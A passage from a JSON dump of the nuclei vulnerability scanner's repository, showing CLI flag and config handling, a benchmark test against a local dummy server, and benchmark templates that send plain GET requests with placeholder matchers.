\"Statistics\",\n\t\tflagSet.BoolVar(&options.EnableProgressBar, \"stats\", false, \"display statistics about the running scan\"),\n\t\tflagSet.BoolVarP(&options.StatsJSON, \"stats-json\", \"sj\", false, \"display statistics in JSONL(ines) format\"),\n\t\tflagSet.IntVarP(&options.StatsInterval, \"stats-interval\", \"si\", 5, \"number of seconds to wait between showing a statistics update\"),\n\t\tflagSet.IntVarP(&options.MetricsPort, \"metrics-port\", \"mp\", 9092, \"port to expose nuclei metrics on\"),\n\t\tflagSet.BoolVarP(&options.HTTPStats, \"http-stats\", \"hps\", false, \"enable http status capturing (experimental)\"),\n\t)\n\n\tflagSet.CreateGroup(\"cloud\", \"Cloud\",\n\t\tflagSet.DynamicVar(&pdcpauth, \"auth\", \"true\", \"configure projectdiscovery cloud (pdcp) api key\"),\n\t\tflagSet.StringVarP(&options.TeamID, \"team-id\", \"tid\", _pdcp.TeamIDEnv, \"upload scan results to given team id (optional)\"),\n\t\tflagSet.BoolVarP(&options.EnableCloudUpload, \"cloud-upload\", \"cup\", false, \"upload scan results to pdcp dashboard [DEPRECATED use -dashboard]\"),\n\t\tflagSet.StringVarP(&options.ScanID, \"scan-id\", \"sid\", \"\", \"upload scan results to existing scan id (optional)\"),\n\t\tflagSet.StringVarP(&options.ScanName, \"scan-name\", \"sname\", \"\", \"scan name to set (optional)\"),\n\t\tflagSet.BoolVarP(&options.EnableCloudUpload, \"dashboard\", \"pd\", false, \"upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard\"),\n\t\tflagSet.StringVarP(&options.ScanUploadFile, \"dashboard-upload\", \"pdu\", \"\", \"upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard\"),\n\t)\n\n\tflagSet.CreateGroup(\"Authentication\", \"Authentication\",\n\t\tflagSet.StringSliceVarP(&options.SecretsFile, \"secret-file\", \"sf\", nil, \"path to config file containing secrets for nuclei authenticated scan\", goflags.CommaSeparatedStringSliceOptions),\n\t\tflagSet.BoolVarP(&options.PreFetchSecrets, \"prefetch-secrets\", \"ps\", false, \"prefetch secrets from the secrets file\"),\n\t)\n\n\tflagSet.SetCustomHelpText(`EXAMPLES:\nRun nuclei on single host:\n\t$ nuclei -target example.com\n\nRun nuclei with specific template directories:\n\t$ nuclei -target example.com -t http/cves/ -t ssl\n\nRun nuclei against a list of hosts:\n\t$ nuclei -list hosts.txt\n\nRun nuclei with a JSON output:\n\t$ nuclei -target example.com -json-export output.json\n\nRun nuclei with sorted Markdown outputs (with environment variables):\n\t$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/\n\nAdditional documentation is available at: https://docs.nuclei.sh/getting-started/running\n\t`)\n\n\t// nuclei has multiple migrations\n\t// ex: resume.cfg moved to platform standard cache dir from config dir\n\t// ex: config.yaml moved to platform standard config dir from linux specific config dir\n\t// and hence it will be attempted in config package during init\n\tgoflags.DisableAutoConfigMigration = true\n\t_ = flagSet.Parse()\n\n\t// when fuzz flag is enabled, set the dast flag to true\n\tif fuzzFlag {\n\t\t// backwards compatibility for fuzz flag\n\t\toptions.DAST = true\n\t}\n\n\t// All cloud-based templates depend on both code and self-contained templates.\n\tif options.EnableCodeTemplates {\n\t\toptions.EnableSelfContainedTemplates = true\n\t}\n\n\t// api key hierarchy: cli flag > env var > .pdcp/credential file\n\tif pdcpauth == \"true\" {\n\t\trunner.AuthWithPDCP()\n\t} else if len(pdcpauth) == 36 {\n\t\tph := pdcp.PDCPCredHandler{}\n\t\tif _, err := ph.GetCreds(); err == pdcp.ErrNoCreds {\n\t\t\tapiServer := env.GetEnvOrDefault(\"PDCP_API_SERVER\", pdcp.DefaultApiServer)\n\t\t\tif validatedCreds, err := ph.ValidateAPIKey(pdcpauth, apiServer, config.BinaryName); err == nil {\n\t\t\t\t_ = ph.SaveCreds(validatedCreds)\n\t\t\t}\n\t\t}\n\t}\n\n\t// guard cloud services with credentials\n\tif options.AITemplatePrompt != \"\" {\n\t\th := &pdcp.PDCPCredHandler{}\n\t\t_, err := h.GetCreds()\n\t\tif err != nil {\n\t\t\toptions.Logger.Fatal().Msg(\"To utilize the `-ai` flag, please configure your API key with the `-auth` flag or set the `PDCP_API_KEY` environment variable\")\n\t\t}\n\t}\n\n\toptions.Logger.SetTimestamp(options.Timestamp, levels.LevelDebug)\n\n\tif options.VerboseVerbose {\n\t\t// hide release notes if silent mode is enabled\n\t\tinstaller.HideReleaseNotes = false\n\t}\n\n\tif options.Timeout > 30 {\n\t\t// default github binary/template download timeout is 30 sec\n\t\tupdateutils.DownloadUpdateTimeout = time.Duration(options.Timeout) * time.Second\n\t}\n\tif updateNucleiBinary {\n\t\trunner.NucleiToolUpdateCallback()\n\t}\n\n\tif options.LeaveDefaultPorts {\n\t\thttp.LeaveDefaultPorts = true\n\t}\n\tif customConfigDir := os.Getenv(config.NucleiConfigDirEnv); customConfigDir != \"\" {\n\t\tconfig.DefaultConfig.SetConfigDir(customConfigDir)\n\t\treadFlagsConfig(flagSet)\n\t}\n\n\tif cfgFile != \"\" {\n\t\tif !fileutil.FileExists(cfgFile) {\n\t\t\toptions.Logger.Fatal().Msgf(\"given config file '%s' does not exist\", cfgFile)\n\t\t}\n\t\t// merge config file with flags\n\t\tif err := flagSet.MergeConfigFile(cfgFile); err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"Could not read config: %s\\n\", err)\n\t\t}\n\n\t\tif !options.Vars.IsEmpty() {\n\t\t\t// Maybe we should add vars to the config file as well even if they are set via flags?\n\t\t\tfile, err := os.Open(cfgFile)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Fatal().Msgf(\"Could not open config file: %s\\n\", err)\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\t_ = file.Close()\n\t\t\t}()\n\t\t\tdata := make(map[string]interface{})\n\t\t\terr = yaml.NewDecoder(file).Decode(&data)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Fatal().Msgf(\"Could not decode config file: %s\\n\", err)\n\t\t\t}\n\n\t\t\tvariables := data[\"var\"]\n\t\t\tif variables != nil {\n\t\t\t\tif varSlice, ok := variables.([]interface{}); ok {\n\t\t\t\t\tfor _, value := range varSlice {\n\t\t\t\t\t\tif strVal, ok := value.(string); ok {\n\t\t\t\t\t\t\terr = options.Vars.Set(strVal)\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tgologger.Warning().Msgf(\"Could not set variable from config file: %s\\n\", err)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tgologger.Warning().Msgf(\"Skipping non-string variable in config: %#v\", value)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tgologger.Warning().Msgf(\"No 'var' section found in config file: %s\", cfgFile)\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\ttemplatesDir := options.NewTemplatesDirectory\n\tif templatesDir == \"\" {\n\t\ttemplatesDir = os.Getenv(config.NucleiTemplatesDirEnv)\n\t}\n\tif templatesDir != \"\" {\n\t\tconfig.DefaultConfig.SetTemplatesDir(templatesDir)\n\t}\n\n\tdefaultProfilesPath := filepath.Join(config.DefaultConfig.GetTemplateDir(), \"profiles\")\n\tif templateProfile != \"\" {\n\t\tif filepath.Ext(templateProfile) == \"\" {\n\t\t\tif tp := findProfilePathById(templateProfile, defaultProfilesPath); tp != \"\" {\n\t\t\t\ttemplateProfile = tp\n\t\t\t} else {\n\t\t\t\toptions.Logger.Fatal().Msgf(\"'%s' is not a profile-id or profile path\", templateProfile)\n\t\t\t}\n\t\t}\n\t\tif !filepath.IsAbs(templateProfile) {\n\t\t\tif filepath.Dir(templateProfile) == \"profiles\" {\n\t\t\t\tdefaultProfilesPath = filepath.Join(config.DefaultConfig.GetTemplateDir())\n\t\t\t}\n\t\t\tcurrentDir, err := os.Getwd()\n\t\t\tif err == nil && fileutil.FileExists(filepath.Join(currentDir, templateProfile)) {\n\t\t\t\ttemplateProfile = filepath.Join(currentDir, templateProfile)\n\t\t\t} else {\n\t\t\t\ttemplateProfile = filepath.Join(defaultProfilesPath, templateProfile)\n\t\t\t}\n\t\t}\n\t\tif !fileutil.FileExists(templateProfile) {\n\t\t\toptions.Logger.Fatal().Msgf(\"given template profile file '%s' does not exist\", templateProfile)\n\t\t}\n\t\tif err := flagSet.MergeConfigFile(templateProfile); err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"Could not read template profile: %s\\n\", err)\n\t\t}\n\t}\n\n\tif len(options.SecretsFile) > 0 {\n\t\tfor _, secretFile := range options.SecretsFile {\n\t\t\tif !fileutil.FileExists(secretFile) {\n\t\t\t\toptions.Logger.Fatal().Msgf(\"given secrets file '%s' does not exist\", secretFile)\n\t\t\t}\n\t\t}\n\t}\n\n\tcleanupOldResumeFiles()\n\treturn flagSet\n}\n\n// cleanupOldResumeFiles cleans up resume files older than 10 days.\nfunc cleanupOldResumeFiles() {\n\troot := config.DefaultConfig.GetCacheDir()\n\tfilter := fileutil.FileFilters{\n\t\tOlderThan: 24 * time.Hour * 10, // cleanup on the 10th day\n\t\tPrefix:    \"resume-\",\n\t}\n\t_ = fileutil.DeleteFilesOlderThan(root, filter)\n}\n\n// readFlagsConfig reads the config file from the default config dir and copies it to the current config dir.\nfunc readFlagsConfig(flagset *goflags.FlagSet) {\n\t// check if config.yaml file exists\n\tdefaultCfgFile, err := flagset.GetConfigFilePath()\n\tif err != nil {\n\t\t// something went wrong either dir is not readable or something else went wrong upstream in `goflags`\n\t\t// warn and exit in this case\n\t\toptions.Logger.Warning().Msgf(\"Could not read config file: %s\\n\", err)\n\t\treturn\n\t}\n\tcfgFile := config.DefaultConfig.GetFlagsConfigFilePath()\n\tif !fileutil.FileExists(cfgFile) {\n\t\tif !fileutil.FileExists(defaultCfgFile) {\n\t\t\t// if default config does not exist, warn and exit\n\t\t\toptions.Logger.Warning().Msgf(\"missing default config file : %s\", defaultCfgFile)\n\t\t\treturn\n\t\t}\n\t\t// if does not exist copy it from the default config\n\t\tif err = fileutil.CopyFile(defaultCfgFile, cfgFile); err != nil {\n\t\t\toptions.Logger.Warning().Msgf(\"Could not copy config file: %s\\n\", err)\n\t\t}\n\t\treturn\n\t}\n\t// if config file exists, merge it with the default config\n\tif err = flagset.MergeConfigFile(cfgFile); err != nil {\n\t\toptions.Logger.Warning().Msgf(\"failed to merge configfile with flags got: %s\\n\", err)\n\t}\n}\n\n// disableUpdatesCallback disables the update check.\nfunc disableUpdatesCallback() {\n\tconfig.DefaultConfig.DisableUpdateCheck()\n}\n\n// printVersion prints the nuclei version and exits.\nfunc printVersion() {\n\toptions.Logger.Info().Msgf(\"Nuclei Engine Version: %s\", config.Version)\n\toptions.Logger.Info().Msgf(\"Nuclei Config Directory: %s\", config.DefaultConfig.GetConfigDir())\n\toptions.Logger.Info().Msgf(\"Nuclei Cache Directory: %s\", config.DefaultConfig.GetCacheDir()) // cache dir contains resume files\n\toptions.Logger.Info().Msgf(\"PDCP Directory: %s\", pdcp.PDCPDir)\n\tos.Exit(0)\n}\n\n// printTemplateVersion prints the nuclei template version and exits.\nfunc printTemplateVersion() {\n\tcfg := config.DefaultConfig\n\toptions.Logger.Info().Msgf(\"Public nuclei-templates version: %s (%s)\\n\", cfg.TemplateVersion, cfg.TemplatesDirectory)\n\n\tif fileutil.FolderExists(cfg.CustomS3TemplatesDirectory) {\n\t\toptions.Logger.Info().Msgf(\"Custom S3 templates location: %s\\n\", cfg.CustomS3TemplatesDirectory)\n\t}\n\tif fileutil.FolderExists(cfg.CustomGitHubTemplatesDirectory) {\n\t\toptions.Logger.Info().Msgf(\"Custom GitHub templates location: %s \", cfg.CustomGitHubTemplatesDirectory)\n\t}\n\tif fileutil.FolderExists(cfg.CustomGitLabTemplatesDirectory) {\n\t\toptions.Logger.Info().Msgf(\"Custom GitLab templates location: %s \", cfg.CustomGitLabTemplatesDirectory)\n\t}\n\tif fileutil.FolderExists(cfg.CustomAzureTemplatesDirectory) {\n\t\toptions.Logger.Info().Msgf(\"Custom Azure templates location: %s \", cfg.CustomAzureTemplatesDirectory)\n\t}\n\tos.Exit(0)\n}\n\nfunc resetCallback() {\n\twarning := fmt.Sprintf(`\nUsing '-reset' will delete all nuclei configurations files and all nuclei-templates\n\nFollowing files will be deleted:\n1. All config files at %v\n2. All cache files (including resume state) at %v\n3. All nuclei-templates at %v\n\nNote: Make sure you have backup of your custom nuclei-templates before proceeding\n\n`, config.DefaultConfig.GetConfigDir(), config.DefaultConfig.GetCacheDir(), config.DefaultConfig.TemplatesDirectory)\n\toptions.Logger.Print().Msg(warning)\n\treader := bufio.NewReader(os.Stdin)\n\tfor {\n\t\tfmt.Print(\"Are you sure you want to continue? [y/n]: \")\n\t\tresp, err := reader.ReadString('\\n')\n\t\tif err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"could not read response: %s\", err)\n\t\t}\n\t\tresp = strings.TrimSpace(resp)\n\t\tif stringsutil.EqualFoldAny(resp, \"y\", \"yes\") {\n\t\t\tbreak\n\t\t}\n\t\tif stringsutil.EqualFoldAny(resp, \"n\", \"no\", \"\") {\n\t\t\tfmt.Println(\"Exiting...\")\n\t\t\tos.Exit(0)\n\t\t}\n\t}\n\terr := os.RemoveAll(config.DefaultConfig.GetConfigDir())\n\tif err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"could not delete config dir: %s\", err)\n\t}\n\terr = os.RemoveAll(config.DefaultConfig.GetCacheDir())\n\tif err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"could not delete cache dir: %s\", err)\n\t}\n\terr = os.RemoveAll(config.DefaultConfig.TemplatesDirectory)\n\tif err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"could not delete templates dir: %s\", err)\n\t}\n\toptions.Logger.Info().Msgf(\"Successfully deleted all nuclei configurations files and nuclei-templates\")\n\tos.Exit(0)\n}\n\nfunc findProfilePathById(profileId, templatesDir string) string {\n\tvar profilePath string\n\terr := filepath.WalkDir(templatesDir, func(iterItem string, d fs.DirEntry, err error) error {\n\t\text := filepath.Ext(iterItem)\n\t\tisYaml := ext == extensions.YAML || ext == extensions.YML\n\t\tif err != nil || d.IsDir() || !isYaml {\n\t\t\t// skip non yaml files\n\t\t\treturn nil\n\t\t}\n\t\tif strings.TrimSuffix(filepath.Base(iterItem), ext) == profileId {\n\t\t\tprofilePath = iterItem\n\t\t\treturn fmt.Errorf(\"FOUND\")\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil && err.Error() != \"FOUND\" {\n\t\toptions.Logger.Error().Msgf(\"%s\\n\", err)\n\t}\n\treturn profilePath\n}\n"
  },
  {
    "path": "cmd/nuclei/main_benchmark_test.go",
    "content": "package main_test\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"runtime\"\n\t\"runtime/pprof\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/runner\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nvar (\n\tprojectPath string\n\ttargetURL   string\n)\n\nfunc TestMain(m *testing.M) {\n\t// Set up\n\tgologger.DefaultLogger.SetMaxLevel(levels.LevelSilent)\n\t_ = os.Setenv(\"DISABLE_STDOUT\", \"true\")\n\n\tvar err error\n\n\tprojectPath, err = os.MkdirTemp(\"\", \"nuclei-benchmark-\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdummyServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusNoContent)\n\t}))\n\ttargetURL = dummyServer.URL\n\n\t// Execute tests\n\n\texitCode := m.Run()\n\n\t// Tear down\n\n\tdummyServer.Close()\n\t_ = os.RemoveAll(projectPath)\n\t_ = os.Unsetenv(\"DISABLE_STDOUT\")\n\n\tos.Exit(exitCode)\n}\n\n// getUniqFilename generates a unique filename by appending .N if file exists\n// Similar to wget's behavior: file.cpu.prof, file.cpu.1.prof, file.cpu.2.prof, etc.\nfunc getUniqFilename(basePath string) string {\n\tif _, err := os.Stat(basePath); os.IsNotExist(err) {\n\t\treturn basePath\n\t}\n\n\tlastDot := strings.LastIndex(basePath, \".\")\n\tvar name, ext string\n\tif lastDot != -1 {\n\t\tname = basePath[:lastDot]\n\t\text = basePath[lastDot:]\n\t} else {\n\t\tname = basePath\n\t\text = \"\"\n\t}\n\n\tfor i := 1; ; i++ {\n\t\tnewPath := fmt.Sprintf(\"%s.%d%s\", name, i, ext)\n\t\tif _, err := os.Stat(newPath); os.IsNotExist(err) {\n\t\t\treturn newPath\n\t\t}\n\t}\n}\n\nfunc getDefaultOptions() *types.Options {\n\treturn &types.Options{\n\t\tRemoteTemplateDomainList:   []string{\"cloud.projectdiscovery.io\"},\n\t\tProjectPath:                projectPath,\n\t\tStatsInterval:              5,\n\t\tMetricsPort:                9092,\n\t\tMaxHostError:               30,\n\t\tNoHostErrors:               true,\n\t\tBulkSize:                   25,\n\t\tTemplateThreads:            25,\n\t\tHeadlessBulkSize:           10,\n\t\tHeadlessTemplateThreads:    10,\n\t\tTimeout:                    10,\n\t\tRetries:                    1,\n\t\tRateLimit:                  150,\n\t\tRateLimitDuration:          time.Duration(time.Second),\n\t\tRateLimitMinute:            0,\n\t\tPageTimeout:                20,\n\t\tInteractionsCacheSize:      5000,\n\t\tInteractionsPollDuration:   5,\n\t\tInteractionsEviction:       60,\n\t\tInteractionsCoolDownPeriod: 5,\n\t\tMaxRedirects:               10,\n\t\tSilent:                     true,\n\t\tVarDumpLimit:               255,\n\t\tJSONRequests:               true,\n\t\tStoreResponseDir:           \"output\",\n\t\tInputFileMode:              \"list\",\n\t\tResponseReadSize:           0,\n\t\tResponseSaveSize:           1048576,\n\t\tInputReadTimeout:           time.Duration(3 * time.Minute),\n\t\tUncoverField:               \"ip:port\",\n\t\tUncoverLimit:               100,\n\t\tUncoverRateLimit:           60,\n\t\tScanStrategy:               \"auto\",\n\t\tFuzzAggressionLevel:        \"low\",\n\t\tFuzzParamFrequency:         10,\n\t\tTeamID:                     \"none\",\n\t\tJsConcurrency:              120,\n\t\tPayloadConcurrency:         25,\n\t\tProbeConcurrency:           50,\n\t\tLoadHelperFileFunction:     types.DefaultOptions().LoadHelperFileFunction,\n\t\t// DialerKeepAlive:            time.Duration(0),\n\t\t// DASTServerAddress:          \"localhost:9055\",\n\t\tExecutionId: \"test\",\n\t\tLogger:      gologger.DefaultLogger,\n\t}\n}\n\nfunc runEnumBenchmark(b *testing.B, options *types.Options) {\n\trunner.ParseOptions(options)\n\n\tnucleiRunner, err := runner.New(options)\n\tif err != nil {\n\t\tb.Fatalf(\"failed to create runner: %s\", err)\n\t}\n\tdefer nucleiRunner.Close()\n\n\tbenchNameSlug := strings.ReplaceAll(b.Name(), \"/\", \"-\")\n\n\t// Start CPU profiling\n\tcpuProfileBase := fmt.Sprintf(\"%s.cpu.prof\", benchNameSlug)\n\tcpuProfilePath := getUniqFilename(cpuProfileBase)\n\tcpuProfile, err := os.Create(cpuProfilePath)\n\tif err != nil {\n\t\tb.Fatalf(\"failed to create CPU profile: %s\", err)\n\t}\n\tdefer func() { _ = cpuProfile.Close() }()\n\n\tif err := pprof.StartCPUProfile(cpuProfile); err != nil {\n\t\tb.Fatalf(\"failed to start CPU profile: %s\", err)\n\t}\n\tdefer pprof.StopCPUProfile()\n\n\tb.ReportAllocs()\n\n\tfor b.Loop() {\n\t\tif err := nucleiRunner.RunEnumeration(); err != nil {\n\t\t\tb.Fatalf(\"%s failed: %s\", b.Name(), err)\n\t\t}\n\t}\n\n\tb.StopTimer()\n\n\t// Write heap profile\n\theapProfileBase := fmt.Sprintf(\"%s.heap.prof\", benchNameSlug)\n\theapProfilePath := getUniqFilename(heapProfileBase)\n\theapProfile, err := os.Create(heapProfilePath)\n\tif err != nil {\n\t\tb.Fatalf(\"failed to create heap profile: %s\", err)\n\t}\n\tdefer func() { _ = heapProfile.Close() }()\n\n\truntime.GC() // Force GC before heap profile\n\tif err := pprof.WriteHeapProfile(heapProfile); err != nil {\n\t\tb.Fatalf(\"failed to write heap profile: %s\", err)\n\t}\n}\n\nfunc BenchmarkRunEnumeration(b *testing.B) {\n\t// Default case: run enumeration with default options == all nuclei-templates\n\tb.Run(\"Default\", func(b *testing.B) {\n\t\toptions := getDefaultOptions()\n\t\toptions.Targets = []string{targetURL}\n\n\t\trunEnumBenchmark(b, options)\n\t})\n\n\t// Case: https://github.com/projectdiscovery/nuclei/pull/6258\n\tb.Run(\"Multiproto\", func(b *testing.B) {\n\t\toptions := getDefaultOptions()\n\t\toptions.Targets = []string{targetURL}\n\t\toptions.Templates = []string{\"./cmd/nuclei/testdata/benchmark/multiproto/\"}\n\n\t\trunEnumBenchmark(b, options)\n\t})\n}\n"
  },
  {
    "path": "cmd/nuclei/testdata/benchmark/multiproto/basic-template-multiproto-mixed.yaml",
    "content": "id: basic-template-multiproto-mixed\n\ninfo:\n  name: Test Template Multiple Protocols (Mixed)\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    id: first_iter_http\n    path:\n      - '{{BaseURL}}/1'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/2'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/3'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/4'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/5'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/6'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/7'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/8'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/9'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /10 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /11 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /12 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /13 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /14 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /15 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /16 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /17 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /18 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\""
  },
  {
    "path": "cmd/nuclei/testdata/benchmark/multiproto/basic-template-multiproto-raw.yaml",
    "content": "id: basic-template-multiproto-raw\n\ninfo:\n  name: Test Template Multiple Protocols RAW\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /1 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /2 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /3 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /4 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /5 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 